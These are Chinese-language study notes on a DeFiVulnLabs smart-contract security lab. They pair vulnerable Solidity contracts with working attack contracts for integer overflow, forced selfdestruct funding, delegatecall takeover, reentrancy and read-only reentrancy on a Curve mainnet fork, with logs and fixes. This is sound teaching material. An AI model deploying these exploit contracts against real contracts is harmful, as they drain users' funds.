区块链入门-1

# 确保已经装好了 Node.js 和 npm。可以在终端里运行 node -v 和 npm -v 检查一下
npm install -g remix-ide

# 启动服务
remix-ide

// SPDX-License-Identifier: MIT
pragma solidity ^0.7.5;

contract TimeLock { //这是一个时间锁合约          
    mapping(address => uint) public balances;          
    mapping(address => uint) public lockTime;

    function deposit() external payable {  //存款接受ETH               
        balances[msg.sender] += msg.value;             
        lockTime[msg.sender] = block.timestamp + 1 weeks;//锁定时间为当前区块时间添加1周          
    }
        
    function increaseLockTime(uint _secondsToIncrease) public {              
            lockTime[msg.sender] += _secondsToIncrease; // vulnerable               
            //该合约允许用户自己增加锁仓时间              
            //接收时间参数，然后直接相加作为LockTime          
    }
        
    function withdraw() public {  //取款函数              
        require(balances[msg.sender] > 0, "Insufficient funds"); //判断地址的余额>0              
        require(//且当前区块的时间大于锁仓的时间                  
            block.timestamp > lockTime[msg.sender],                  
            "Lock time not expired"              
        );
             
        uint amount = balances[msg.sender]; //将地址的余额给amount              
        balances[msg.sender] = 0; //表示钱已取出
        (bool sent, ) = msg.sender.call{value: amount}("");               
        //使用call方法表示发送amount个以太币              
        require(sent, "Failed to send Ether");          
    }     
}

# 先安装 Foundry
curl -L https://getfoundry.sh/install | bash

# 重启终端后，安装
foundryup

# 国内镜像加速会下的快一点，使用 githubproxy.cc 加速克隆
git clone https://githubproxy.cc/https://github.com/SunWeb3Sec/DeFiVulnLabs.git

# 子模块更新
cd ~/DeFiVulnLabs
git submodule update --init --recursive

# 可以修改子模块加速
cat .gitmodules

# 改成下面这些url（就改url）
url = https://githubproxy.cc/https://github.com/foundry-rs/forge-std
url = https://githubproxy.cc/https://github.com/openzeppelin/openzeppelin-contracts

# 保存后执行
git submodule sync
git submodule update --init --recursive

#验证靶场安装成功
mkdir -p ~/.svm/0.8.18
wget https://githubproxy.cc/https://github.com/ethereum/solidity/releases/download/v0.8.18/solc-static-linux -O ~/.svm/0.8.18/solc-0.8.18
chmod +x ~/.svm/0.8.18/solc-0.8.18
~/.svm/0.8.18/solc-0.8.18 --version
forge build
forge test --contracts ./src/test/Reentrancy.sol -vvvv

// SPDX-License-Identifier: MIT
pragma solidity ^0.7.5;

// 1. 先定义接口，包含目标（存在漏洞）合约的方法
interface ITimeLock {
    function deposit() external payable;
    function increaseLockTime(uint _secondsToIncrease) external;
    function withdraw() external;
    function lockTime(address user) external view returns (uint);
}

contract Exploit {
    ITimeLock public timeLockContract;

    // 2. 构造函数：初始化 TimeLock 合约地址
    constructor(address _timeLockAddress) {
        timeLockContract = ITimeLock(_timeLockAddress);
    }

    // 3. 存款：把 ETH 存进 TimeLock
    function deposit() external payable {
        timeLockContract.deposit{value: msg.value}();
    }

    // 4. 查询当前合约的 lockTime
    function getLockTime() external view returns (uint) {
        return timeLockContract.lockTime(address(this));
    }

    // 5. 触发溢出：构造让 lockTime 回绕到 0 的数值
    function exploitLockTime() external {
        uint lockTime = timeLockContract.lockTime(address(this));
        uint overflowValue = type(uint).max + 1 - lockTime;
        timeLockContract.increaseLockTime(overflowValue);
    }

    // 6. 取款：把钱从 TimeLock 取回 Exploit 合约
    function withdraw() external {
        timeLockContract.withdraw();
    }

    // 7. 把 Exploit 合约里的余额转给调用者
    function withdraw2wallet() external {
        uint balance = address(this).balance;
        require(balance > 0, "No balance to withdraw");
        (bool sent, ) = msg.sender.call{value: balance}("");
        require(sent, "Failed to send Ether");
    }

    // 8. 接收 ETH 的回调函数
    receive() external payable {}
}

#降一下forge的版本
forge install foundry-rs/forge-std@v1.13.0 	

cd ~/DeFiVulnLabs
cat > remappings.txt << 'EOF'
forge-std/=lib/forge-std/src/
openzeppelin-contracts/=lib/openzeppelin-contracts/contracts/
EOF

# 修复 ABI Coder 与旧版本兼容性，修改src/test/Invariant.sol和Overflow.sol文件，在 pragma solidity 语句下方，添加一行：
pragma abicoder v2;

# 解决报错：
# DeFiVulnLabs 里混用了两套 OpenZeppelin：
    # 老案例（Overflow.sol、ERC777-reentrancy.sol）→ 需要 OpenZeppelin 3.x。
    # 新案例（大部分其他文件）→ 需要 OpenZeppelin 4.x/5.x。
cd ~/DeFiVulnLabs

# 创建备份目录
mkdir -p /tmp/backup

# 把 src/test 下除了 Overflow.sol 之外的所有文件都移走
find src/test -maxdepth 1 -name "*.sol" ! -name "Overflow.sol" -exec mv {} /tmp/backup/ \;

# 重新跑测试
forge test --match-path ./src/test/Overflow.sol -vvvv

  ## 修复方式：使用的 版本大于8.0 或者使用 safeMath 第三方库就可以避免溢出问题了。

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;

/// @title SelfDestruct
/// @notice 一个带有 30 天延迟的 selfdestruct 示例合约
/// @dev 部署时需要附带 ETH，只有 owner 在超时后可以销毁合约
contract SelfDestruct {
    // 状态变量

    /// @notice 合约所有者地址
    address public owner;

    /// @notice 合约创建时间戳
    uint public creationTime;

    /// @notice 允许销毁合约的超时时间（30 天）
    uint public constant SELF_DESTRUCT_TIMEOUT = 30 days;

    // 构造函数

    /// @notice 部署合约时设置 owner 并记录创建时间
    /// @dev 部署时需要附带 ETH，用于后续测试余额
    constructor() payable {
        owner = msg.sender;
        creationTime = block.timestamp;
    }

    // 外部函数

    /// @notice 销毁合约并把余额转给 owner
    /// @dev 只有 owner 在创建时间满 30 天后才能调用
    function destroyContract() public {
        require(
            msg.sender == owner,
            "Only the owner can destroy this contract"
        );
        require(
            block.timestamp > creationTime + SELF_DESTRUCT_TIMEOUT,
            "Contract cannot be destroyed yet"
        );

        selfdestruct(payable(owner));
    }

    /// @notice 查询当前合约余额
    /// @return 当前合约持有的 ETH 数量（wei）
    function getBalance() public view returns (uint) {
        return address(this).balance;
    }

    // 接收 ETH

    /// @notice 允许合约直接接收 ETH
    receive() external payable {}
}

//目标漏洞合约，EtherGame合约

pragma solidity ^0.8.0;

contract EtherGame {
    uint public constant targetAmount = 7 ether;
    address public winner;

    function deposit() public payable {  //传入1ether
        require(msg.value == 1 ether, "You can only send 1 Ether");

        uint balance = address(this).balance; // vulnerable    //获取当前合约地址的余额
        require(balance <= targetAmount, "Game is over");  //如果当前地址大于7 ether游戏结束

        if (balance == targetAmount) {
            winner = msg.sender;    //如果合约地址余额==7 ether，设置胜利者为msg.sender
        }
    }

    //这个无聊的游戏允许用户每次传入1ether,直到有用户第一个传入7个ether
    function claimReward() public {   //将合约中的所有eth转给msg.sender
        require(msg.sender == winner, "Not winner");

        (bool sent, ) = msg.sender.call{value: address(this).balance}("");
        require(sent, "Failed to send Ether");
    }
}

// 合约漏洞利用代码，Attack合约

pragma solidity ^0.8.0;

interface EtherGame {
    function deposit() external payable;
}

contract Attack {
    EtherGame public etherGame;

    constructor(address _etherGameAddress) {
        etherGame = EtherGame(_etherGameAddress);
    }

    function attack() public payable {
        // 强制将以太币转入目标合约
        selfdestruct(payable(address(etherGame)));
    }
}

## 修复方式：
全局定义 balance且设置 balance只受到msg.value的影响， 而不是在合约方法里定义然后再赋值，这样对方销毁后转入合约里，也是无用功，反而钱会被人都拿走。

pragma solidity ^0.8.0;

contract EtherGame {
    uint public constant targetAmount = 7 ether;
    uint public balance;
    address public winner;

    function deposit() public payable {  //传入1ether
        require(msg.value == 1 ether, "You can only send 1 Ether");

        balance += msg.value;
        require(balance <= targetAmount, "Game is over");

        if (balance == targetAmount) {
            winner = msg.sender;    //如果合约地址余额==7 ether，设置胜利者为msg.sender
        }
    }

    function claimReward() public {
        require(msg.sender == winner, "Not winner");

        (bool sent, ) = msg.sender.call{value: address(this).balance}("");
        require(sent, "Failed to send Ether");

        // 重置游戏状态
        balance = 0;
        winner = address(0);
    }
}

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

// ============================================================
// 第一段代码：逻辑合约（Logic / Implementation）
// 没有什么问题，是一个非常简单的 Demo
// ============================================================
contract Delegate {
    // 存储在 slot 0（状态变量按顺序存放在 slot 0/1/2/3/4 ...）
    address public owner;

    // 将 owner 设置为 msg.sender
    function pwn() public {
        owner = msg.sender;
    }
}

// ============================================================
// 第二段代码：代理合约（Proxy）
// 代理合约一般用于合约升级，通常借助 delegatecall 实现
// ============================================================
contract Proxy {
    // owner 被硬编码，存储在 slot 0（状态变量按顺序存放在 slot 0/1/2/3/4 ...）
    address public owner = address(0xdeadbeef);

    Delegate delegate;

    // 构造函数，接受一个地址
    constructor(address _delegateAddress) public {
        delegate = Delegate(_delegateAddress);
    }

    // 当调用代理合约的函数不存在时，会触发 fallback 函数
    fallback() external {
        // 使用 delegatecall 执行 msg.data，此时影响的是 Proxy 合约（自己）
        (bool suc, ) = address(delegate).delegatecall(msg.data); // vulnerable
        require(suc, "Delegatecall failed");
    }
}

// Delegate.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

// 第一段代码：逻辑合约（Logic / Implementation）
// 没有任何问题，是一个非常简单的 Demo
contract Delegate {
    // 存储在 slot 0（状态变量按顺序存放在 slot 0/1/2/3/4 ...）
    address public owner;

    // 将 owner 设置为 msg.sender
    function pwn() public {
        owner = msg.sender;
    }
}

// proxy.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./Delegate.sol";   // ← 加上这一行

// 第二段代码：代理合约（Proxy）
// 代理合约一般用于合约升级，通常借助 delegatecall 实现
contract Proxy {
    // owner 被硬编码，存储在 slot 0（状态变量按顺序存放在 slot 0/1/2/3/4 ...）
    address public owner = address(0xdeadbeef);

    Delegate delegate;

    // 构造函数，接受一个地址（这里要传入 Delegate 合约的地址）
    constructor(address _delegateAddress) {
        delegate = Delegate(_delegateAddress);
    }

    // 当调用代理合约的函数不存在时，会触发 fallback 函数
    fallback() external {
        // 使用 delegatecall 执行 msg.data，此时影响的是 Proxy 合约（自己）
        (bool suc, ) = address(delegate).delegatecall(msg.data); // vulnerable
        require(suc, "Delegatecall failed");
    }
}

// attacker.sol
// SPDX-License-Identifier: MIT
pragma solidity ^ 0.8.0;
contract Attacker {
    address  public  proxyAddress;
    constructor ( address _proxyAddress ) {
        proxyAddress = _proxyAddress;
    }
    // 调用不存在的函数来触发 Proxy 合约的 fallback
    function  attack (  )  external {
        // 调用一个不存在的函数
        (bool success, ) = proxyAddress.call(abi.encodeWithSignature( "xxxxxx()" ));
        require (success,  "Attack failed" );
    }
}

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

/// @title 银行合约
/// @notice 一个存在重入漏洞的示例合约（仅用于教学/演示）
contract Bank {
    /// @notice 记录每个地址存入的 ETH 数量
    mapping(address => uint256) public balances;

    /// @notice 存入 ETH
    function deposit() public payable {
        balances[msg.sender] += msg.value;
    }

    /// @notice 提取指定数量的 ETH
    /// @param _weiToWithdraw 要提取的 wei 数量
    function withdrawFunds(uint256 _weiToWithdraw) public {
        // 判断余额是否足够
        require(balances[msg.sender] >= _weiToWithdraw, "Insufficient balance");

        // 必须先进行 deposit 才能 withdrawFunds
        // 注意：此处先转账后更新状态，存在重入风险
        (bool success, ) = msg.sender.call{value: _weiToWithdraw}("");
        require(success, "Send failed");

        if (balances[msg.sender] >= _weiToWithdraw) {
            balances[msg.sender] -= _weiToWithdraw; // 更新用户余额
        }
    }
}

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

/// @title 银行合约接口
interface IEtherStore {
    function deposit() external payable;

    function withdrawFunds(uint256 _weiToWithdraw) external;
}

/// @title 攻击合约
/// @notice 利用 Bank 合约的重入漏洞进行攻击（仅用于教学/演示）
contract Attack {
    IEtherStore public etherStore;
    address payable public owner;

    /// @param _etherStoreAddress 目标银行合约地址
    constructor(address _etherStoreAddress) {
        etherStore = IEtherStore(_etherStoreAddress);
        owner = payable(msg.sender); // 设置合约部署者为所有者
    }

    modifier onlyOwner() {
        require(msg.sender == owner, "Only owner can call this function");
        _;
    }

    /// @notice 向目标合约存入 1 ether
    function deposit() external payable {
        etherStore.deposit{value: 1 ether}();
    }

    /// @notice 发起攻击，提取 1 ether
    function attack() external payable {
        etherStore.withdrawFunds(1 ether);
    }

    /// @notice 接收 ETH 时触发重入
    receive() external payable {
        if (address(etherStore).balance >= 1 ether) {
            etherStore.withdrawFunds(1 ether);
        }
    }

    /// @notice 将合约中的 ETH 转给所有者
    function withdraw() external onlyOwner {
        owner.transfer(address(this).balance);
    }
}

第 1 次调用：Bank 转 1 ETH 给 Attack，触发 receive
第 2 次调用：Bank 转 1 ETH 给 Attack，触发 receive
第 3 次调用：Bank 转 1 ETH 给 Attack，触发 receive
...
直到 Bank.balance < 1 ether，停止

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

/// @title 银行合约（重入防护版）
/// @notice 使用状态变量 `status` 实现简单的重入锁（Reentrancy Guard）
contract Bank {
    /// @notice 记录每个地址存入的 ETH 数量
    mapping(address => uint256) public balances;

    /// @dev 重入锁状态：0 表示未进入，1 表示已进入
    uint256 private status;

    /// @notice 防止函数被重入调用
    modifier nonReentrant() {
        require(status == 0, "Reentrant call");
        status = 1;
        _;
        status = 0;
    }

    /// @notice 提取指定数量的 ETH
    /// @param _weiToWithdraw 要提取的 wei 数量
    function withdrawFunds(uint256 _weiToWithdraw) public nonReentrant {
        // ...
    }
}

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

/// @title 修复后的银行合约
/// @notice 采用 Checks-Effects-Interactions 模式，避免重入漏洞
contract EtherStoreRemediated {
    /// @notice 记录每个地址存入的 ETH 数量
    mapping(address => uint256) public balances;
}

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

/// @title Curve 协议部分接口
/// @notice Curve 是一个去中心化的流动池协议，此处抽象出部分方法供调用
interface ICurve {
    /// @notice 获得虚拟价格
    function get_virtual_price() external view returns (uint256);

    /// @notice 添加流动性，期望获得 LP 代币
    /// @param amounts 各币种存入数量
    /// @param min_mint_amount 最少接受的 LP 代币数量（滑点保护）
    function add_liquidity(
        uint256[2] calldata amounts,
        uint256 min_mint_amount
    ) external payable returns (uint256);

    /// @notice 移除流动性，期望获得 XX 个 A 代币和 XX 个 B 代币
    /// @param lp 要销毁的 LP 代币数量
    /// @param min_amounts 各币种最少接受的返还数量（滑点保护）
    function remove_liquidity(
        uint256 lp,
        uint256[2] calldata min_amounts
    ) external returns (uint256[2] memory);

    /// @notice 移除单一币种的流动性
    /// @param lp 要销毁的 LP 代币数量
    /// @param i 目标币种的索引
    /// @param min_amount 最少接受的返还数量（滑点保护）
    function remove_liquidity_one_coin(
        uint256 lp,
        int128 i,
        uint256 min_amount
    ) external returns (uint256);
}

/// @title 质押/赎回服务合约
/// @notice 利用 Curve 流动池的算法，为用户提供质押和赎回服务
contract VulnContract {
    /// @notice stETH 流动池地址
    address constant STETH_POOL = 0xDC24316b9AE028F1497c275EB9192a3Ea0f67022;

    /// @notice steCRV LP Token 地址（存入两种代币后获得的流动池代币）
    address constant LP_TOKEN = 0x06325440D014e39736583c165C2963BA99fAf14E;

    /// @notice 实例化流动池接口
    ICurve private constant pool = ICurve(STETH_POOL);

    /// @notice 实例化 LP Token 接口
    IERC20 public constant token = IERC20(LP_TOKEN);

    /// @notice 记录每个地址质押的 LP 代币数量
    mapping(address => uint256) public balanceOf;

    /// @notice 质押 LP 代币
    /// @param amount 质押数量
    function stake(uint256 amount) external {
        token.transferFrom(msg.sender, address(this), amount);
        balanceOf[msg.sender] += amount;
    }

    /// @notice 赎回 LP 代币
    /// @param amount 赎回数量
    function unstake(uint256 amount) external {
        balanceOf[msg.sender] -= amount;
        token.transfer(msg.sender, amount);
    }

    /// @notice 获取奖励（只读方法）
    /// @return reward 用户当前可获得的奖励
    function getReward() external view returns (uint256) {
        // 查询价格，以用户代币数量与当前价格计算奖励
        uint256 reward = (balanceOf[msg.sender] * pool.get_virtual_price()) /
            1 ether;
        // 省略转移奖励的代码；若实现了转移奖励，则本合约不再是只读合约
        return reward;
    }
}

币池是一个很大的交易市场，就像一个水果市场，苹果和橘子价格长期是比率是1:1，这天苹果丰收，因此苹果和橘子比率变为2:1，此时有外来的商人来带来橘子，又把苹果和橘子比率变为1:1，此时的外来就是增加流动性，商人也因此获得了收益(LP TOKEN : liquidity providers）。  LP可以换回橘子和苹果。

// 攻击exp
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

/// @title 只读重入攻击（Read-Only Reentrancy）演示合约
/// @notice 利用 Curve 池子在 remove_liquidity 期间虚拟价格暂时失真的特性，
///         在 receive() 回调中读取被操纵的 get_virtual_price()，从而骗取奖励
contract ExploitContract {
    /// @notice Curve ETH/stETH 池接口实例
    ICurve private constant pool = ICurve(STETH_POOL);

    /// @notice LP Token（steCRV）接口实例
    IERC20 public constant lpToken = IERC20(LP_TOKEN);

    /// @notice 被攻击的目标合约（VulnContract）
    VulnContract private immutable target;

    /// @param _target 目标合约地址
    constructor(address _target) {
        target = VulnContract(_target);
    }

    /// @notice 向 Curve 池子添加流动性，并将获得的 LP 代币质押到目标合约
    /// @dev 调用时需附带 ETH，msg.value 全部作为 ETH 侧流动性
    function stakeTokens() external payable {
        uint256[2] memory amounts = [msg.value, 0];

        // 添加流动性，获得 LP 代币数量
        uint256 lp = pool.add_liquidity{value: msg.value}(amounts, 1);

        console.log(
            "LP token price after staking into VulnContract",
            pool.get_virtual_price()
        );

        // 将获得的 LP 代币质押到目标合约
        lpToken.approve(address(target), lp);
        target.stake(lp);
    }

    /// @notice 执行只读重入攻击
    /// @dev 通过 remove_liquidity 触发 receive() 回调，
    ///      在回调中读取被暂时压低的虚拟价格，骗取超额奖励
    function performReadOnlyReentrancy() external payable {
        // 添加流动性
        uint256[2] memory amounts = [msg.value, 0];
        uint256 lp = pool.add_liquidity{value: msg.value}(amounts, 1);

        // 查询当前 LP Token 价格
        console.log(
            "LP token price before remove_liquidity()",
            pool.get_virtual_price()
        );

        // 移除流动性：remove_liquidity() 会触发本合约的 receive() 回调
        uint256[2] memory min_amounts = [uint256(0), uint256(0)];
        pool.remove_liquidity(lp, min_amounts);

        console.log(
            "--------------------------------------------------------------------"
        );

        // 查看此时 LP Token 价格
        console.log(
            "LP token price after remove_liquidity()",
            pool.get_virtual_price()
        );

        // 查看可获取的奖励
        uint256 reward = target.getReward();
        console.log("Reward if Read-Only Reentrancy is not invoked: ", reward);
    }

    /// @notice 接收 ETH 时自动调用
    /// @dev remove_liquidity 执行期间会触发此回调，
    ///      此时 Curve 池子的虚拟价格尚未恢复，可读取到失真值
    receive() external payable {
        console.log(
            "--------------------------------------------------------------------"
        );

        // 查看此时 LP Token 价格（被操纵中的价格）
        console.log(
            "LP token price during remove_liquidity()",
            pool.get_virtual_price()
        );

        // 查看此时可获取的奖励（被虚高的奖励）
        uint256 reward = target.getReward();
        console.log("Reward if Read-Only Reentrancy is invoked: ", reward);
    }
}

/// @title 攻击测试合约
/// @notice 使用 Foundry 的 fork 测试，在主网分叉环境下复现只读重入攻击
contract ExploitTest is Test {
    ExploitContract public hack;
    VulnContract public target;

    function setUp() public {
        vm.createSelectFork("mainnet");
        target = new VulnContract();                       // 部署交易所合约
        hack = new ExploitContract(address(target));       // 部署攻击合约
    }

    function testPwn() public {
        // 先向目标合约质押 10 ether
        hack.stakeTokens{value: 10 ether}();

        // 再发起只读重入攻击，附带 100000 ether
        hack.performReadOnlyReentrancy{value: 100000 ether}();
    }
}

# 逐个测试哪个能通
cast block-number --rpc-url https://eth.llamarpc.com
cast block-number --rpc-url https://rpc.ankr.com/eth   # 我这里就这个通不了
cast block-number --rpc-url https://ethereum.publicnode.com
cast block-number --rpc-url https://1rpc.io/eth
cast block-number --rpc-url https://rpc.flashbots.net

LP token price after staking into VulnContract 1142936092710230159

LP token price before remove_liquidity() 1142957351883905021

LP token price during remove_liquidity() 1567698646280020044

1. 销毁 LP（totalSupply 减少）        ← 先做
2. 计算应返还的 ETH 数量
3. 转 ETH 给调用者  → 触发 receive()   ← 此时 balances 还没减
4. 更新 balances（ETH 余额减少）       ← 最后才做

Reward if Read-Only Reentrancy is invoked:  13716406183750144984

LP token price after remove_liquidity() 1142957351883905021
Reward if Read-Only Reentrancy is not invoked:  10000179132860483858

forge test --contracts ./src/test/ERC777-reentrancy.sol -vvvv

function claim(address account, uint256 amount) public returns (bool) {
    // ① 检查（Checks）
    require(
        _mints[account] + amount <= maxMintsPerAddress,
        "Exceeds max mints per address"
    );

    // ② 效果（Effects）：先更新状态
    _mints[account] += amount;

    // ③ 交互（Interactions）：后转账
    token.transfer(account, amount);

    return true;
}